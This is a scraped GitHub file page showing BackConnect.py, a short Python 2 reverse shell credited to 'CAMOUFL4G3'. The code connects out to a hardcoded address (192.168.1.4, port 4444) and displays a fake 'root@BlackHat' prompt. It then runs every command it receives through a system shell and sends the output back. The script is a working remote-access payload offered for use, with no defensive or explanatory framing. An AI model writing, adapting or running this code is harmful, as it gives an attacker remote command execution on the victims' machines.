-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBackConnect.py
More file actions
50 lines (29 loc) · 1.18 KB
/
BackConnect.py
File metadata and controls
50 lines (29 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
print """
#################################################
# #
# @ Python BackConnect shell #
# @ Redeveloped CAMOUFL4G3 #
# #
#################################################
"""
try:
import socket,subprocess
HOST = '192.168.1.4'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('-----------------------------\n')
s.send('[*] Connection Established!')
s.send('\n-----------------------------\n')
s.send('$ root@BlackHat: ')
print "BackConnect shell is ready for to transmit data"
while 1:
buffersize = 1024
data = s.recv(buffersize)
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
except KeyboardInterrupt:
print 'Connection broken'